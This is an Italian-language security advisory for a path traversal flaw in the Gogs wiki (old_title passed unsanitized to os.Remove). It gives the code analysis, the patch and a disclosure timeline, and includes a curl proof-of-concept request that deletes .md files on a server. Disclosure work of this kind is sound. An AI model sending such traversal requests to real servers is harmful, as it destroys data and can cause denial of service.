
Eliminazione arbitraria di file in Gogs tramite Path Traversal nel Wiki
Gravità: Alta (CVSS 7.5)
Software interessato: Gogs <= 0.13.3
Corretto in: 0.13.4, 0.14.0+dev
Avviso: GHSA-jp7c-wj6q-3qf2
Patch: gogs/gogs#8099
Durante un audit di sicurezza di Gogs (un popolare servizio Git self-hosted scritto in Go), ho trovato una vulnerabilità di path traversal nella funzione updateWikiPage. Consente a un utente autenticato con accesso in scrittura al wiki di eliminare file arbitrari sul server iniettando sequenze di path traversal nel parametro old_title del modulo di modifica del wiki.
La vulnerabilità è un difetto di sanitizzazione asimmetrica in internal/database/wiki.go. Quando una pagina wiki viene aggiornata, la funzione gestisce due parametri del titolo in modo diverso:
| Parametro | Sanitizzato? | Utilizzato in |
|---|---|---|
title (nuovo nome) | Sì — tramite ToWikiPageName() | path.Join() per la creazione del file |
oldTitle (nome precedente) | No | path.Join() + os.Remove() |
// internal/database/wiki.go
// Line 105: New title IS sanitized
title = ToWikiPageName(title)
filename := path.Join(localPath, title+".md")
// Lines 113-115: Old title is NOT sanitized before os.Remove()
} else {
os.Remove(path.Join(localPath, oldTitle+".md")) // ← VULNERABILE
}
Il valore oldTitle scorre direttamente dall'input utente controllato (modulo) attraverso il gestore di rotta fino a os.Remove() senza alcuna sanitizzazione del percorso.
Input utente (Modulo) Gestore della rotta Funzione database
┌─────────────────┐ ┌─────────────────────┐ ┌──────────────────────────┐
│ f.OldTitle │───────────>│ EditWikiPost() │───────────────>│ updateWikiPage() │
│ (non sanitizzato)│ │ wiki.go:246 │ │ │
└─────────────────┘ │ │ │ Line 114: │
│ Nessuna sanitizzazione!│ │ os.Remove(path.Join( │
│ │ │ localPath, │
└──────────────────────┘ │ oldTitle+".md")) │
└──────────────────────────┘
Prerequisiti: Utente autenticato con accesso in scrittura al wiki di qualsiasi repository.
/repo/wiki/editold_title includendo sequenze di path traversal (ad es. ../../../../tmp/target_file)# Step 1: Autenticarsi e creare/modificare una pagina wiki
# Step 2: Intercettare la richiesta POST e iniettare il traversal in old_title
curl -X POST "https://gogs.example.com/user/repo/wiki/TestPage?action=_edit" \
-H "Cookie: i_like_gogs=<session_cookie>" \
-d "old_title=../../../../../../../tmp/target_file" \
-d "title=TestPage" \
-d "content=test" \
-d "message=test"
# Risultato: /tmp/target_file.md viene eliminato dal server
L'estensione .md viene aggiunta automaticamente. Qualsiasi file che termina con .md su cui il processo Gogs ha permessi di scrittura può essere eliminato.
| Impatto | Descrizione |
|---|---|
| Eliminazione arbitraria di file | Elimina qualsiasi file .md su cui il processo Gogs può scrivere |
| Denial of Service | Rimuove file critici di configurazione o dati |
| Perdita di dati | Distrugge pagine wiki di altri utenti, documentazione o file del repository |
| Potenziale escalation | Combinato con altre vulnerabilità, potrebbe portare a ulteriori compromissioni |
Applica la stessa sanitizzazione ToWikiPageName a oldTitle già applicata a title:
func (r *Repository) updateWikiPage(doer *User, oldTitle, title, content, message string, isNew bool) (err error) {
// ... codice esistente ...
title = ToWikiPageName(title)
+ // Sanitizzare oldTitle per prevenire path traversal
+ if oldTitle != "" {
+ oldTitle = ToWikiPageName(oldTitle)
+ }
filename := path.Join(localPath, title+".md")
// ...
}
Ho proposto questa correzione durante la divulgazione e i manutentori di Gogs l'hanno implementata in PR #8099.
| Data | Evento |
|---|---|
| 2025-12-13 | Vulnerabilità scoperta durante audit di sicurezza |
| 2025-12-13 | Avviso inviato tramite GitHub Security Advisory (GHSA-jp7c-wj6q-3qf2) |
| 2026-01-20 | Follow-up con i manutentori di Gogs |
| 2026-01-20 | Il manutentore ha riconosciuto la vulnerabilità |
| 2026-01-22 | Patch unita (#8099) |
| 2026-01-22 | CVE-2026-24135 assegnato da GitHub |
| 2026-02-06 | Divulgazione pubblica |